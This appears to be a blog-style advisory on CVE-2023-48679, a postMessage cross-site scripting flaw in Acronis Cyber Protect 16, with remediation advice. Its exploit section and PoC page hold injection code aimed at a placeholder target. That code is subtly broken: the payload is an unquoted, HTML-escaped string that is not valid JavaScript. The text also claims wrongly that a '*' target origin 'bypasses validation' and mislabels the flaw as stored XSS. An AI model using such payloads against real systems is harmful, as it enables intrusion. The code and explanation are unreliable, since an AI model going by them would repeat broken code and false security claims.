Recently, a new stored cross-site scripting (XSS) vulnerability, registered as CVE-2023-48679, was identified in postMessage handling for Acronis Cyber Protect 16 on both Linux and Windows before build 37391. This vulnerability arises due to missing origin validation in postMessage. It allows an attacker to inject malicious code into vulnerable web applications and exploit the user's interactions with the web application. This article will discuss the details of this vulnerability, its impact on the affected products, and the available remediation steps.

CVE-2023-48679 Vulnerability Description

This vulnerability occurs when there is no proper origin validation in the postMessage function. postMessage is an HTML5 API used for communication between different windows or iframes from different origins. The lack of origin validation allows an attacker to inject malicious content into the targeted application by hijacking the communication channel between different webpages and triggering rogue scripts.

Affected Products

The affected products are Acronis Cyber Protect 16, available on both Linux and Windows platforms, prior to build 37391. The affected versions lack the necessary origin validation mechanisms, which make them susceptible to this stored XSS vulnerability.

Exploit Details

To exploit this vulnerability, an attacker would need to send a specially crafted postMessage containing the malicious payload to the targeted application:

// Malicious script to be injected
const maliciousScript = '<script>alert("XSS Attack")</script>';

// Sending postMessage to the target window (e.g., the application's iframe)
targetWindow.postMessage(maliciousScript, '*'); // Intentionally set the target origin as '*' to bypass validation

As there is no proper origin validation imposed on the postMessage, the malicious payload will be executed in the context of the targeted application, leading to a successful XSS attack.

Demo Code Snippet

A proof of concept for this vulnerability can be achieved through the following HTML and JavaScript code snippet:

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2023-48679 PoC</title>
</head>
<body>
    <iframe id="target_iframe" src="https://TARGET_DOMAIN/"></iframe>;
    <button onclick="exploit()">Exploit XSS</button>
    <script>
        function exploit() {
            const targetIframe = document.getElementById('target_iframe');
            const targetWindow = targetIframe.contentWindow;
            const payload = &lt;script&gt;alert(&quot;XSS Attack&quot;)&lt;/script&gt;;
            targetWindow.postMessage(payload, '*'); // Intentionally set the target origin as '*'
        }
    </script>
</body>
</html>

Here, the iframe presents the targeted application, and by clicking the "Exploit XSS" button, the attacker will trigger the malicious payload through postMessage.

Remediation Steps

The only viable way to address this vulnerability is to update the affected product versions to build 37391 or later. Acronis has already released fixed build 37391 for both Linux and Windows to patch this vulnerability. The patch adds proper origin validation for postMessage handling, thus preventing the stored XSS vulnerability from being exploited.

Conclusion

Cross-site scripting vulnerabilities are a significant threat to web applications and their users, as they can lead to unauthorized access and control over sensitive information, which can have severe consequences. CVE-2023-48679 highlights the importance of proper origin validation mechanisms within web applications when dealing with postMessage communication. To mitigate this vulnerability and ensure the security of their users, organizations using Acronis Cyber Protect 16 should update their installations to the latest build.

References

1. CVE-2023-48679: The official page for the vulnerability on the Common Vulnerabilities and Exposures (CVE) website.

2. Acronis Cyber Protect 16: The official product page for Acronis Cyber Protect 16, which offers additional information, and support resources.

3. Update Acronis Cyber Protect 16 to build 37391: A support article explaining how to update your installation of Acronis Cyber Protect 16 to build 37391 or later to address CVE-2023-48679 and other vulnerabilities present in earlier builds.

Timeline

Published on: 02/27/2024 17:15:10 UTC
Last modified on: 02/28/2024 14:07:00 UTC